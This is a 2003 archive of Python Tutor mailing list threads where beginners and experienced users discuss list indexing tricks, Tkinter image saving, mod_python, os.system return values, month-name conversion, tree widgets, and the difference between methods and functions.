
It probably satisfies half of your criteria, it's a single statement but 
it's still a loop, plus your technically creating a new list, not modifying 
the old one.  do_something_to_x should be a single statement or you'll 
probably have to wrap it in a lambda function, which would drive me nuts.  
Enjoy.
-Hsi


>From: "R. Alan Monroe" <amonroe@columbus.rr.com>
>Reply-To: "R. Alan Monroe" <amonroe@columbus.rr.com>
>To: tutor@python.org
>Subject: [Tutor] Can you modify every nth item in a list with a single 
>assignment?
>Date: Wed, 11 Jun 2003 22:20:20 -0400
>
>I know I can modify every nth list item using a for loop over a
>range(start,end,n), but can it be done in a single assignment, without
>a loop?
>
>Alan
>
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

_________________________________________________________________
The new MSN 8: smart spam protection and 2 months FREE*  
http://join.msn.com/?page=features/junkmail



From bgailer@alum.rpi.edu  Thu Jun 12 20:45:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Thu Jun 12 19:45:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a
 single assignment?
In-Reply-To: <Law8-F15esqN0zYE3SA0000f775@hotmail.com>
Message-ID: <5.2.1.1.0.20030612173928.03e43cf0@66.28.54.253>

--=======8A0685C=======
Content-Type: text/plain; x-avg-checked=avg-ok-17912FEA; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

What we need here is a new language feature that lets us provide a sequence 
of index values to a list. Something like:

MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43


Bob Gailer
bgailer@alum.rpi.edu
303 442 2625

--=======8A0685C=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-17912FEA
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======8A0685C=======--



From jeff@ccvcorp.com  Thu Jun 12 21:14:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 12 20:14:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single
 assignment?
References: <5.2.1.1.0.20030612173928.03e43cf0@66.28.54.253>
Message-ID: <3EE916CB.9060208@ccvcorp.com>

Bob Gailer wrote:

> What we need here is a new language feature that lets us provide a 
> sequence of index values to a list. Something like:
>
> MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43


This can be done easily enough without adding a new feature, it just 
takes two lines instead of one:

for n in (1,4,9,23):
   MyList[n] += 43

Jeff Shannon
Technician/Programmer
Credit International





From gus.tabares@verizon.net  Thu Jun 12 21:33:01 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Thu Jun 12 20:33:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <3EE916CB.9060208@ccvcorp.com>
Message-ID: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>

Bob Gailer wrote:

>> What we need here is a new language feature that lets us provide a 
>> sequence of index values to a list. Something like:
>>
>> MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43

> This can be done easily enough without adding a new feature, it just 
> takes two lines instead of one


Or another healthy alternative, on one line:

map((lambda x: x + 43), [1, 4, 9, 23])


HTH,
Gus



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From jeff@ccvcorp.com  Thu Jun 12 21:48:01 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu Jun 12 20:48:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single
 assignment?
References: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
Message-ID: <3EE91E1F.1070101@ccvcorp.com>

Gus Tabares wrote:

>Bob Gailer wrote:
>
>  
>
>>>What we need here is a new language feature that lets us provide a 
>>>sequence of index values to a list. Something like:
>>>
>>>MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43
>>>      
>>>
>
>  
>
>>This can be done easily enough without adding a new feature, it just 
>>takes two lines instead of one
>>    
>>
>
>
>Or another healthy alternative, on one line:
>
>map((lambda x: x + 43), [1, 4, 9, 23])
>  
>

This doesn't do the same thing.

 >>> map((lambda x: x + 43), [1, 4, 9, 23])
[44, 47, 52, 66]
 >>>

You're adding something to each member of a list, whereas the first 
example is modifying only specified members of another list, using the 
tuple of integers to specify which list elements are modified.  It 
probably would be possible to come up with something equivalent using 
map, lambda, and filter, but it'd be pretty ugly.

Jeff Shannon
Technician/Programmer
Credit International





From zak@harlekin-maus.com  Thu Jun 12 21:49:02 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Thu Jun 12 20:49:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
References: <3EE916CB.9060208@ccvcorp.com>
 <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
Message-ID: <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com>

> Bob Gailer wrote:
>
>>> What we need here is a new language feature that lets us provide a
>>> sequence of index values to a list. Something like:
>>>
>>> MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43

One more!

MyList = [i + 43 for i in (1,4,9,23)]

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From gus.tabares@verizon.net  Thu Jun 12 22:28:18 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Thu Jun 12 21:28:18 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <3EE91E1F.1070101@ccvcorp.com>
Message-ID: <LFEJJJNJEBIGPEPEPLIPIEBKCAAA.gus.tabares@verizon.net>

>You're adding something to each member of a list, whereas the first
>example is modifying only specified members of another list, using the
>tuple of integers to specify which list elements are modified.  It
>probably would be possible to come up with something equivalent using
>map, lambda, and filter, but it'd be pretty ugly.

Aha! That's what I get for reading too quickly:) My fault, please disregard
my previous mail.


Sorry,
Gus




_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From project5@redrival.net  Thu Jun 12 22:36:31 2003
From: project5@redrival.net (Andrei)
Date: Thu Jun 12 21:36:31 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com>
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com>
Message-ID: <bcb9kt$co4$1@main.gmane.org>

>>Bob Gailer wrote:
>>
>>
>>>>What we need here is a new language feature that lets us provide a
>>>>sequence of index values to a list. Something like:
>>>>
>>>>MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43
> 
> 
> One more!
> 
> MyList = [i + 43 for i in (1,4,9,23)]

Hm, orignal post required change every nth item of a list, right?
How about this: I want to multiply every third item with two

 >>> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
 >>> [ item in range(2, len(b), 3) and 2*b[item] or b[item] for item in 
range(0, len(b))]
[1, 2, 6, 4, 5, 12, 7, 8, 18]

range(2) in order to start multiplying at the third item rather than the 
first.

This any good?

Andrei




From fredm@smartypantsco.com  Thu Jun 12 22:37:03 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Thu Jun 12 21:37:03 2003
Subject: [Tutor] Can you modify every nth item in a list with a
 single assignment?
In-Reply-To: <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus
 .com>
References: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
 <3EE916CB.9060208@ccvcorp.com>
 <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
Message-ID: <5.1.0.14.0.20030613112430.03305930@192.168.1.1>

In answer to Alan Monroe's initial question:

 > I know I can modify every nth list item using a for loop over a
 > range(start,end,n), but can it be done in a single assignment, without a 
loop?

It's possible to do it using list comprehension (but rather pointless) as 
follows:

 >>> list1 = [1,2,3,4,5,6,7,8,9]
 >>> n = 3
 >>> list2 = [list1[i]*(i%n!=n-1) or 'new item' for i in range(len(list1))]
 >>> list2
[1, 2, 'new item', 4, 5, 'new item', 7, 8, 'new item']

'new item' can of course be a manipulation of list1 items or come from 
another list, etc.

Fred Milgrom



From project5@redrival.net  Thu Jun 12 22:50:01 2003
From: project5@redrival.net (Andrei)
Date: Thu Jun 12 21:50:01 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <bcb9kt$co4$1@main.gmane.org>
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com> <bcb9kt$co4$1@main.gmane.org>
Message-ID: <bcbadv$gva$1@main.gmane.org>

> Hm, orignal post required change every nth item of a list, right?
> How about this: I want to multiply every third item with two
> 
>  >>> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
>  >>> [ item in range(2, len(b), 3) and 2*b[item] or b[item] for item in 
> range(0, len(b))]
> [1, 2, 6, 4, 5, 12, 7, 8, 18]
> 
> range(2) in order to start multiplying at the third item rather than the 
> first.
> 
> This any good?

Obviously this is subject to the and/or trick limitation, which could be 
circumvented like this (we want to add to to all but every third item, 
with item [0] remaining unmodified):

With limitation:
 >>> b = range(9)
 >>> [ item in range(0, len(b), 3) and b[item] or 2+b[item] for item in 
range(0, len(b))]
[2, 3, 4, 3, 6, 7, 6, 9, 10]

Oops, index 0 got modified too (should have been 0, not 2). Let's try again:

 >>> [ (item in range(0, len(b), 3) and [b[item]] or [2+b[item]])[0] for 
item in range(0, len(b))]
[0, 3, 4, 3, 6, 7, 6, 9, 10]

That's better.

Andrei




From fredm@smartypantsco.com  Thu Jun 12 22:55:02 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Thu Jun 12 21:55:02 2003
Subject: [Tutor] Can you create an image from Tkinter?
In-Reply-To: <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <5.1.0.14.0.20030612124213.049afec0@192.168.1.1>

I wonder if anyone can help me with creating savable images (say GIF or 
BMP) under Python?

I want to have a combination of images and text. (Specifically I want to 
create images of positions of a GO game, with numbers on some of the stones 
and optional symbols on some of the stones/positions). I can create the 
image I want and display it using Tkinter, but I don't know how to save my 
canvas as an image file.

I know that Tkinter can output a Postscript file (which I guess I could 
convert to a GIF using some other program, but I'd rather do everything in 
one step in Python if I could). As well, the documentation for Tkinter 
postscript function says:
"postscript(options)
Generate a Postscript rendering of the canvas contents. Images and embedded 
widgets are not included."

Is there a way in Python of grabbing the pixels in a defined rectangle on 
the screen (or Windows-specific code?) ?

If this is not possible using Tkinter, is there another simple way to put 
something like that together, look at it and save it? (I need a combination 
of lines, black and white stones, numbers, letters and symbols).

Thanks in anticipation,
Fred Milgrom 



From tbrauch@mindless.com  Thu Jun 12 23:02:01 2003
From: tbrauch@mindless.com (Timothy M. Brauch)
Date: Thu Jun 12 22:02:01 2003
Subject: [Tutor] (mod_python v. Python) and Apache
Message-ID: <01bb01c3314f$b847da80$6600a8c0@tbrauch>

Probably not the best place to discuss this, but I'm hoping someone can
help.

I'm running Apache 2.0.40-11.5 and Python 2.2.1.  I've successfully
installed and configured mod_python.  However, either I was as successful as
I thought, or mod_python isn't what I wanted.

Okay, so with mod_python I can write scripts, and as long as I have my conf
and permissions set correctly, I can do something like
http://domain.com/dir/script1.py/func and it works.  However, I have to
write each function separately and remember func(req...) for each function.
But, I can't get it to work if I do http://domain.com/dir/script1.py unless
I do as follows.

To get it to work if I just invoke the script directly, assuming conf and
permissions are all in order, All I have to do is something like

#!/usr/bin/python
print "Content-type: text/html\n"

#first two lines are very important as is
print "Hello World."
for i in xrange(10):
    print i
print "That's all folks"

And all is right in the world.  Then, script.py will run and output much
like if I had done []$ python script.py, which is what I am much more
accustomed to in Python programming.

Okay, so two questions, which I know is bad to do, but they are kind of
related.

First, is it possible from command line to call a function in a python
script.  Clearly []$ python script.py/func1() doesn't work.  Nor does
anything else I've tried.  I guess I could use sys.argv and an eval of some
sort.  But that doesn't seem right.

Secondly.  Is mod_python necessary for the second method I listed to work?
I never tried before install mod_python.  If not, why should I use
mod_python?



From R. Alan Monroe" <amonroe@columbus.rr.com  Fri Jun 13 00:21:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Thu Jun 12 23:21:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253>
References: <5.2.1.1.0.20030612093506.03dc76c8@66.28.54.253>
Message-ID: <50-1512273134.20030612232708@columbus.rr.com>

> At 10:20 PM 6/11/2003 -0400, R. Alan Monroe wrote:

>>I know I can modify every nth list item using a for loop over a
>>range(start,end,n), but can it be done in a single assignment, without
>>a loop?

> No. Any operation on multiple elements of a list in any language is going 
> to be implemented as a loop at some level, with the exception of 
> vector-processing hardware such as the Cray computers.

> What is your goal here?

I'd like to, for instance, draw a column of pixels in a 2d video
buffer that's implemented as a 1d array.

> If you want Python code without using a for or while statement consider:

>  >>> def foo((a,b)):
> ...   if b%2:return a
> ...   else:return a+5
>  >>> l = [1, 2, 3, 4]
>  >>> map(foo,zip(l,range(len(l))))
> [1, 7, 3, 9]


Cool. "Lonetwin" also emailed me offlist, and steered me toward
figuring out this method.


>>> a=[1,2,3,4,5,6,7,8,9,10]

>>> def f(x):
...     a[x]=0

>>> [f(x) for x in range(0,10,2)]

>>> a
[0, 2, 0, 4, 0, 6, 0, 8, 0, 10]


Alan



From tim@johnsons-web.com  Fri Jun 13 00:51:01 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Thu Jun 12 23:51:01 2003
Subject: [Tutor] so.system() return values
Message-ID: <20030613035326.GF11432@johnsons-web.com>

Hello all:
    I am using os.system to execute shell commands on
Linux 2.4.7-10 (RH 7.2). Implementation will be on 
RH 9.0 server.

It appears from tests that os.system(cmd) returns a
0 if successful and non-zero if not. This would be
consistant with C system() call.

Am I correct? Are there any gotchas? Is there documentation
that I can be pointed to?
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From gus.tabares@verizon.net  Fri Jun 13 01:04:01 2003
From: gus.tabares@verizon.net (Gus Tabares)
Date: Fri Jun 13 00:04:01 2003
Subject: [Tutor] so.system() return values
In-Reply-To: <20030613035326.GF11432@johnsons-web.com>
Message-ID: <LFEJJJNJEBIGPEPEPLIPMEBNCAAA.gus.tabares@verizon.net>

>Hello all:
>    I am using os.system to execute shell commands on
>Linux 2.4.7-10 (RH 7.2). Implementation will be on
>RH 9.0 server.

>It appears from tests that os.system(cmd) returns a
>0 if successful and non-zero if not. This would be
>consistant with C system() call.

>Am I correct? Are there any gotchas? Is there documentation
>that I can be pointed to?


The best place to check information on standard Python modules is on
Python's website:
The module index is located at
http://www.python.org/doc/current/modindex.html. From the index:

system(command)
Execute the command (a string) in a subshell. This is implemented by calling
the Standard C function system(), and has the same limitations. Changes to
posix.environ, sys.stdin, etc. are not reflected in the environment of the
executed command. The return value is the exit status of the process encoded
in the format specified for wait(), except on Windows 95 and 98, where it is
always 0. Note that POSIX does not specify the meaning of the return value
of the C system() function, so the return value of the Python function is
system-dependent.


I guess that last line really answers your question:)

HTH,
Gus



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor



From tutor@python.org  Fri Jun 13 01:25:03 2003
From: tutor@python.org (Tim Peters)
Date: Fri Jun 13 00:25:03 2003
Subject: [Tutor] so.system() return values
In-Reply-To: <LFEJJJNJEBIGPEPEPLIPMEBNCAAA.gus.tabares@verizon.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEOCEJAB.tim.one@comcast.net>

[Gus Tabares]
> The best place to check information on standard Python modules is on
> Python's website:
> The module index is located at
> http://www.python.org/doc/current/modindex.html. From the index:

The in-development docs sometimes have more up-to-date info.  In this case,
they do, from

    http://www.python.org/dev/doc/devel/lib/os-process.html

    system(command)

    Execute the command (a string) in a subshell. This is implemented by
    calling the Standard C function system(), and has the same
    limitations.  Changes to posix.environ, sys.stdin, etc. are not
    reflected in the environment of the executed command.

    On Unix, the return value is the exit status of the process encoded
    in the format specified for wait().  Note that POSIX does not specify
    the meaning of the return value of the C system() function, so the
    return value of the Python function is system-dependent.

    On Windows, the return value is that returned by the system shell
    after running command, given by the Windows environment variable
    COMSPEC:  on command.com systems (Windows 95, 98 and ME) this is always
    0; on cmd.exe systems (Windows NT, 2000 and XP) this is the exit
    status of the command run; on systems using a non-native shell,
    consult your shell documentation.

    Availability: Unix, Windows.



From decibelshelp@charter.net  Fri Jun 13 02:52:01 2003
From: decibelshelp@charter.net (DAVID BABCOCK)
Date: Fri Jun 13 01:52:01 2003
Subject: [Tutor] Convert a 3letter month, is there a better way?
Message-ID: <web-1132051@rems06.cluster1.charter.net>

I'm not at home to try this and even see if it works 
correctly. So be kind if code wrong.

The Date comes in this format:  DD-MM-YY (ex. 12-JUN-03)
So the list is ['12-JUN-03']

Converting the day and year is easy. But is there a better 
way to convert the month to a number format like: JUN = 06

Here is my idea I haven't been able to test out yet.

def ConvertDate (date)
     mlist = [JAN,FEB,....DEC]  
     mlist2 = ["01","02",..."12]  #needs xx for mysql 
format.
     sdate = date.split('-')      #break date into 3 parts
     x=0
     for x in range(11)
         if sdate[1] == mlist[x]:
               sdate[1] = mlist2[x]
               break

Come to think about it, I think mysql will take the number 
6 and put it in as 06 when use the type date, so maybe 
having mlist2 would be unnecessary. Might just be able to 
do: sdate[1] = x

But it does seem that I would need the mlist to convert to 
a number. Is that true or is there a module to do it, that 
would result in less code? 

Thanks


From fredm@smartypantsco.com  Fri Jun 13 03:19:02 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Fri Jun 13 02:19:02 2003
Subject: [Tutor] Convert a 3letter month, is there a better way?
In-Reply-To: <web-1132051@rems06.cluster1.charter.net>
Message-ID: <5.1.0.14.0.20030613161040.049a0aa0@192.168.1.1>

Using a dictionary seems like a better for what you are trying to do:

 >>> sdate=[12,'JUN',3]
 >>> months={'JAN':1, 'FEB':2, 'MAR':3, 'APR':4, 'MAY':5, 'JUN':6, 'JUL':7, 
'AUG':8, 'SEP':9, 'OCT':10, 'NOV':11, 'DEC':12}
 >>> if sdate[1] in months:
         sdate[1] = months[sdate[1]]
else:
         print 'data error'


 >>> sdate
[12, 6, 3]

Note that my code sample has an error trap in case the data comes in a 
format other than what you are expecting.
If you are 100% sure that the data will be a 3letter month abbreviation in 
caps, then you can omit the error message part and simplify it to
 >>> sdate[1] = months[sdate[1]]

HTH
Fred Milgrom


At 01:51 AM 13/06/03 -0400, DAVID BABCOCK wrote:
>I'm not at home to try this and even see if it works correctly. So be kind 
>if code wrong.
>
>The Date comes in this format:  DD-MM-YY (ex. 12-JUN-03)
>So the list is ['12-JUN-03']
>
>Converting the day and year is easy. But is there a better way to convert 
>the month to a number format like: JUN = 06
>
>Here is my idea I haven't been able to test out yet.
>
>def ConvertDate (date)
>     mlist = [JAN,FEB,....DEC]
>     mlist2 = ["01","02",..."12]  #needs xx for mysql format.
>     sdate = date.split('-')      #break date into 3 parts
>     x=0
>     for x in range(11)
>         if sdate[1] == mlist[x]:
>               sdate[1] = mlist2[x]
>               break
>
>Come to think about it, I think mysql will take the number 6 and put it in 
>as 06 when use the type date, so maybe having mlist2 would be unnecessary. 
>Might just be able to do: sdate[1] = x
>
>But it does seem that I would need the mlist to convert to a number. Is 
>that true or is there a module to do it, that would result in less code?
>Thanks
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor
>



From alan.gauld@blueyonder.co.uk  Fri Jun 13 04:01:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 03:01:02 2003
Subject: [Tutor] Can you modify every nth item in a list with a single assignment?
References: <Law8-F15esqN0zYE3SA0000f775@hotmail.com>
Message-ID: <002101c33179$9a755350$6401a8c0@xp>

> I think one thing you might be able to do is use list comprehensions
(after
> v2.0, correct me if I'm wrong).

We tried this once before and came to the conclusion it couldn't be
done, if I recall correctly. The problem is you can't access the
current
index of the list from inside a comprehension(or a map(), filter()
etc)

I think an explicit loop is the only solution for this type of
operation in versions prior to 2.3.

Alan G.



From alan.gauld@blueyonder.co.uk  Fri Jun 13 04:06:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 03:06:01 2003
Subject: [Tutor] Can you modify every nth item in a list with a  single assignment?
References: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net>
Message-ID: <002f01c3317a$37c8bf20$6401a8c0@xp>

> >> MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43
> 
> Or another healthy alternative, on one line:
> 
> map((lambda x: x + 43), [1, 4, 9, 23])

Nope, this adds 43 to each of the 4 numbers, but 
the original suggestion was that we should add 43 
to each element of the llist indexed by those numbers.

ie

MyList[1] + 43
MyList[4] + 43

etc...

But Jeff's solution still looks like a good one to me.
If a feature only saves one line of code then leave it
out is my motto!

Alan G.


From alan.gauld@blueyonder.co.uk  Fri Jun 13 04:11:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 03:11:02 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single assignment?
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com> <bcb9kt$co4$1@main.gmane.org>
Message-ID: <003a01c3317a$f73c4840$6401a8c0@xp>

>  >>> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
>  >>> [ item in range(2, len(b), 3) and 2*b[item] or b[item] for item
in
> range(0, len(b))]

Very clever, but it is still two lines and much more
complicated than the explicit loop version:

b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
for n in range(2,len(b),3): b[n] *= 2

Alan G.



From alan.gauld@blueyonder.co.uk  Fri Jun 13 04:16:36 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 03:16:36 2003
Subject: [Tutor] Can you modify every nth item in a list with a   single assignment?
References: <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <3EE916CB.9060208@ccvcorp.com> <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <5.1.0.14.0.20030613112430.03305930@192.168.1.1>
Message-ID: <003f01c3317b$a6a5d490$6401a8c0@xp>

Hi Fred,

>  >>> list2 = [list1[i]*(i%n!=n-1) ....

Oh very good! I hadn't thought about using a boolean test 
to null out the values.

> or 'new item' 

And then using those null values to force an 'or' through 
is inspired. I had thought of using and/or logic in a comprehension, 
but never thought of the ( * <expression> ) trick.

Nice one.

Alan G


From alan.gauld@blueyonder.co.uk  Fri Jun 13 04:19:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Fri Jun 13 03:19:02 2003
Subject: [Tutor] so.system() return values
References: <20030613035326.GF11432@johnsons-web.com>
Message-ID: <004a01c3317c$229e6ee0$6401a8c0@xp>

> It appears from tests that os.system(cmd) returns a
> 0 if successful and non-zero if not. This would be
> consistant with C system() call.

Yes. Like many Python things its just a wrapper around the C call.
The os module documentation explains that I thought...

Alan G.



From jyllyj@gcom-cn.com  Fri Jun 13 09:18:24 2003
From: jyllyj@gcom-cn.com (pita)
Date: Fri Jun 13 08:18:24 2003
Subject: [Tutor] [Tutor]how to get tree view  widgets in python GUI? (for linux os)
Message-ID: <004601c3316a$b99ceef0$fc4ea8c0@pita>

hi there
by seach pmw and tkinter but  no found supported( tree view widgets).
can someone tell me the popular solution?






From abli@freemail.hu  Fri Jun 13 09:45:20 2003
From: abli@freemail.hu (Abel Daniel)
Date: Fri Jun 13 08:45:20 2003
Subject: [Tutor] [Tutor]how to get tree view  widgets in python GUI? (for linux os)
In-Reply-To: <004601c3316a$b99ceef0$fc4ea8c0@pita>
References: <004601c3316a$b99ceef0$fc4ea8c0@pita>
Message-ID: <20030613124439.GA792@hooloovoo>

pita  wrote:
> hi there
> by seach pmw and tkinter but  no found supported( tree view widgets).
> can someone tell me the popular solution?
The 1.1 version of Pmw has a tree widget in the contrib directory.
(TreeBrowser.py, GPL license)

There is a really nice pure Tkinter one (no Pmw) at:
http://home.cfl.rr.com/genecash/tree.html
(BSD-like license)

(There might be others, goggle gives 1540 hits for 'tkinter tree widget')

Abel Daniel


From garnaez@yahoo.com  Fri Jun 13 11:25:02 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Fri Jun 13 10:25:02 2003
Subject: [Tutor] methods and functions
Message-ID: <20030613142447.28986.qmail@web20204.mail.yahoo.com>

well, a few nights a go, I had a eureka moment.
I finally grokked what __init__ and self really meant.

Let me tell ya', from everything I had read it was
never really obvious, until I started thinking of self
as just another parameter.

anyway, I had a discussion about it on irc.debian.org
#python and was surprised to learn that thinking
methods were the same thing as functions.  I was told
this was not the case, but every example I was given.
it looked to me that when a method was called for an
instance, it just like calling a function.

What is the difference?
where can I read to understand this point?

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From pythontutor@venix.com  Fri Jun 13 11:29:01 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Fri Jun 13 10:29:01 2003
Subject: [Tutor] Convert a 3letter month, is there a better way?
References: <web-1132051@rems06.cluster1.charter.net>
Message-ID: <3EE9DF5D.6090209@venix.com>

If you are using MySQL and the MySQLdb module, you should also be using
mx.DateTime.  A different approach would look like this:

import mx.DateTime as DT
thedate = DT.Parser.DateFromString(input_date)
cursor.execute("UPDATE mytable SET some_date_field=%s", thedate)

The MySQLdb module will handle putting a DT.Date variable into the proper
format for MySQL.  The %s is simply a place holder and not an EXACT duplicate
of the python format string specifier.  The python DB-API.2 spec is fairly
readable, though you will likely be checking some things against the module
source code.
http://www.python.org/peps/pep-0249.html
PEP 249 -- Python Database API Specification v2.0

I used the Python interactive window to verify that DateFromString can
handle your input format.
 >>> x = DT.Parser.DateFromString("06-JUN-03")
 >>> x
<DateTime object for '2003-06-06 00:00:00.00' at 13aa8d0>

DAVID BABCOCK wrote:
> I'm not at home to try this and even see if it works correctly. So be 
> kind if code wrong.
> 
> The Date comes in this format:  DD-MM-YY (ex. 12-JUN-03)
> So the list is ['12-JUN-03']
> 
> Converting the day and year is easy. But is there a better way to 
> convert the month to a number format like: JUN = 06
> 
> Here is my idea I haven't been able to test out yet.
> 
> def ConvertDate (date)
>     mlist = [JAN,FEB,....DEC]      mlist2 = ["01","02",..."12]  #needs 
> xx for mysql format.
>     sdate = date.split('-')      #break date into 3 parts
>     x=0
>     for x in range(11)
>         if sdate[1] == mlist[x]:
>               sdate[1] = mlist2[x]
>               break
> 
> Come to think about it, I think mysql will take the number 6 and put it 
> in as 06 when use the type date, so maybe having mlist2 would be 
> unnecessary. Might just be able to do: sdate[1] = x
> 
> But it does seem that I would need the mlist to convert to a number. Is 
> that true or is there a module to do it, that would result in less code?
> Thanks
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From garnaez@yahoo.com  Fri Jun 13 11:29:14 2003
From: garnaez@yahoo.com (Gerardo Arnaez)
Date: Fri Jun 13 10:29:14 2003
Subject: [Tutor] methods and functions
Message-ID: <20030613142827.29030.qmail@web20208.mail.yahoo.com>

Hi sorry I made missed a word in what I was trying to
say



anyway, I had a discussion about it on irc.debian.org
#python and was surprised to learn that my thinking
methods were the same thing as functions WAS not
correct.. I was told
this was not the case, but every example I was given.
it looked to me that when a method was called for an
instance, it just like calling a function.

What is the difference?
where can I read to understand this point?

__________________________________
Do you Yahoo!?
Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
http://calendar.yahoo.com


From rhseabrook@aacc.edu  Fri Jun 13 12:04:22 2003
From: rhseabrook@aacc.edu (Seabrook, Richard)
Date: Fri Jun 13 11:04:22 2003
Subject: [Tutor] methods and functions
Message-ID: <74DAD2F23F03F7438D9BE3436C6846F70129075C@AACC-MAIL.aacc.cc.md.us>



-----Original Message-----
From:	Gerardo Arnaez [mailto:garnaez@yahoo.com]
Sent:	Fri 6/13/2003 10:28 AM
To:	tutor
Cc:=09
Subject:	[Tutor] methods and functions
Hi sorry I made missed a word in what I was trying to
say



anyway, I had a discussion about it on irc.debian.org
#python and was surprised to learn that my thinking
methods were the same thing as functions WAS not
correct.. I was told
this was not the case, but every example I was given.
it looked to me that when a method was called for an
instance, it just like calling a function.

What is the difference?
where can I read to understand this point?

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D
In OO-think:
Methods are pieces of code defined in a class and SHARED by
all objects (instances) of that class -- think of them as being
stored in a centralized, shared memory space.  Calling a method on
two different objects of the same class executes the SAME
set of machine language in memory.  It is the attribute (variable)
values that differ between objects and give them their unique
identity, so the attribute values can't be stored in the shared
methods but must reside elsewhere -- think of them as being in=20
the object.  So the object has to send along its address (self) in order =

for the shared code to process the correct values.  The shared code must
always use the self parameter to define or change values in the unique
object on which the method was called in order to create or
modify THAT OBJECT'S attribute values.
I hope all that makes sense...
Dick S.

